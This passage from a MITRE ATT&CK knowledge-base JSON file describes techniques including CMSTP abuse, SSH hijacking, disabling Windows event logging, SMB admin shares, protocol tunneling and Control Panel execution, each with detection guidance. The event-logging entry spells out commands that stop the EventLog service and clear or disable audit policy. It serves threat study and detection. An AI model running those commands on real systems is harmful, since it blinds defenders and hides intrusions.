            "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
            "created": "2020-01-23T18:27:30.656Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/003",
                    "external_id": "T1218.003"
                },
                {
                    "source_name": "Twitter CMSTP Usage Jan 2018",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.",
                    "url": "https://x.com/ItsReallyNick/status/958789644165894146"
                },
                {
                    "source_name": "Microsoft Connection Manager Oct 2009",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"
                },
                {
                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
                },
                {
                    "source_name": "GitHub Ultimate AppLocker Bypass List",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
                },
                {
                    "source_name": "Endurant CMSTP July 2018",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190316220149/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
                },
                {
                    "source_name": "Twitter CMSTP Jan 2018",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.",
                    "url": "https://x.com/NickTyrer/status/958450014111633408"
                }
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            "modified": "2025-04-15T19:58:29.296Z",
            "name": "CMSTP",
            "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
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            "x_mitre_contributors": [
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                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
            "created": "2020-02-25T18:34:38.290Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1563/001",
                    "external_id": "T1563.001"
                },
                {
                    "source_name": "SSHjack Blackhat",
                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
                },
                {
                    "source_name": "Clockwork SSH Agent Hijacking",
                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/"
                },
                {
                    "source_name": "Slideshare Abusing SSH",
                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
                },
                {
                    "source_name": "Breach Post-mortem SSH Hijack",
                    "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
                    "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
                }
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            "modified": "2025-04-15T21:40:37.838Z",
            "name": "SSH Hijacking",
            "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
            "kill_chain_phases": [
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                    "phase_name": "lateral-movement"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Command: Command Execution",
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                },
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                    "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging"
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                    "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.",
                    "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"
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                    "source_name": "EventLog_Core_Technologies",
                    "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.",
                    "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/"
                },
                {
                    "source_name": "Audit_Policy_Microsoft",
                    "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy"
                },
                {
                    "source_name": "Windows Log Events",
                    "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.",
                    "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/"
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                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
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                    "source_name": "auditpol",
                    "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"
                },
                {
                    "source_name": "winser19_file_overwrite_bug_twitter",
                    "description": "Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.",
                    "url": "https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040"
                },
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                    "source_name": "T1562.002_redcanaryco",
                    "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md"
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                {
                    "source_name": "Advanced_sec_audit_policy_settings",
                    "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.",
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                    "source_name": "auditpol.exe_STRONTIC",
                    "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.",
                    "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html"
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                {
                    "source_name": "evt_log_tampering",
                    "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.",
                    "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"
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            "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
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                {
                    "source_name": "Medium Detecting WMI Persistence",
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
                },
                {
                    "source_name": "TechNet RPC",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"
                },
                {
                    "source_name": "Microsoft Admin Shares",
                    "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
                    "url": "http://support.microsoft.com/kb/314984"
                },
                {
                    "source_name": "Windows Event Forwarding Payne",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"
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                    "source_name": "Lateral Movement Payne",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
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                {
                    "source_name": "Wikipedia Server Message Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
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            "name": "SMB/Windows Admin Shares",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",
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            "created": "2019-09-04T12:04:03.552Z",
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                    "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019",
                    "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
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                    "source_name": "Rhino Labs Cloud Backdoor September 2019",
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                    "source_name": "Sygnia Abyss Locker 2025",
                    "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "BleepingComp Godlua JUL19",
                    "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.",
                    "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/"
                },
                {
                    "source_name": "SSH Tunneling",
                    "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.",
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            "name": "Protocol Tunneling",
            "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)(Citation: Sygnia Abyss Locker 2025) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ",
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
            "created": "2020-01-23T19:59:52.630Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/002",
                    "external_id": "T1218.002"
                },
                {
                    "source_name": "Microsoft Implementing CPL",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
                },
                {
                    "source_name": "TrendMicro CPL Malware Jan 2014",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "TrendMicro CPL Malware Dec 2013",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
                },
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
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            "modified": "2025-04-25T14:46:37.731Z",
            "name": "Control Panel",
            "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the <code>Control_RunDLL</code> and <code>ControlRunDLLAsUser</code> API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de",
            "created": "2020-10-19T16:48:08.241Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1599/001",
                    "external_id": "T1599.001"
                },
                {
                    "source_name": "RFC1918",
                    "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.",
                    "url": "https://tools.ietf.org/html/rfc1918"
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            "modified": "2025-04-25T14:46:38.101Z",
            "name": "Network Address Translation Traversal",
            "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device.  A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design.  In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.  In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities",
            "kill_chain_phases": [
                {
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                    "phase_name": "defense-evasion"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices.  Compare packets transmitted by the device between networks to look for signs of NAT being implemented.  Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3.  In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d",
            "created": "2021-03-17T20:31:07.828Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/002",
                    "external_id": "T1608.002"
                },
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "source_name": "Malwarebytes Heroku Skimmers",
                    "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
                    "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
                },
                {
                    "source_name": "Dragos Heroku Watering Hole",
                    "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
                    "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
                },
                {
                    "source_name": "Intezer App Service Phishing",
                    "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:18:15.337Z",
            "name": "Upload Tool",
